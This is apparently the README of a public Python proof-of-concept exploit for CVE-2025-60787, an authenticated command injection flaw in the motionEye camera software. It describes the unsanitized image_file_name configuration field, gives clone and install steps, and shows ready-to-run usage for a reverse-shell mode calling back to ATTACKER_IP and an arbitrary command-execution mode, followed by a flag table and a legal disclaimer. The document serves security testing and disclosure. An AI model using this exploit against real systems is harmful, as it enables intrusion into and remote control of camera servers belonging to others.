
Python PoC for CVE-2025-60787, authenticated OS command injection RCE in motionEye <= 0.43.1b4 via unsanitized image_file_name config
| Field | Details |
|---|
| CVE ID | CVE-2025-60787 |
| CVSS Score | 7.2 (High) |
| Type | OS Command Injection (CWE-78) |
| Affected | motionEye <= 0.43.1b4 |
| Fixed in | 0.43.1b5 |
motionEye accepts arbitrary strings in configuration fields such as image_file_name and writes them directly into Motion configuration files (/etc/motioneye/camera-*.conf). When the Motion service restarts, it interprets these fields as shell-expandable strings, allowing an authenticated attacker to inject and execute arbitrary OS commands.
The web UI includes client-side validation for these fields, but this can be trivially bypassed by sending crafted API requests directly.
image_file_name valuecapture_mode: interval-snapshots)requests librarygit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
The exploit supports two modes: reverse shell and command execution.
Start a listener on your machine, then run:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| Flag | Description |
|---|---|
--url | Target motionEye URL including port |
--user | motionEye username |
--password | motionEye password |
-i / --host | Listener IP (revshell mode) |
--port | Listener port (revshell mode) |
-e / --exec | Command to execute (command mode) |
--camera-id | Target a specific camera ID |
--sh | Use /bin/sh instead of /bin/bash |
--no-verify | Skip TLS certificate verification |
--proxy | Route traffic through a proxy (e.g. http://127.0.0.1:8080) |
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software. Always obtain proper authorization before testing.
This project is licensed under the MIT License.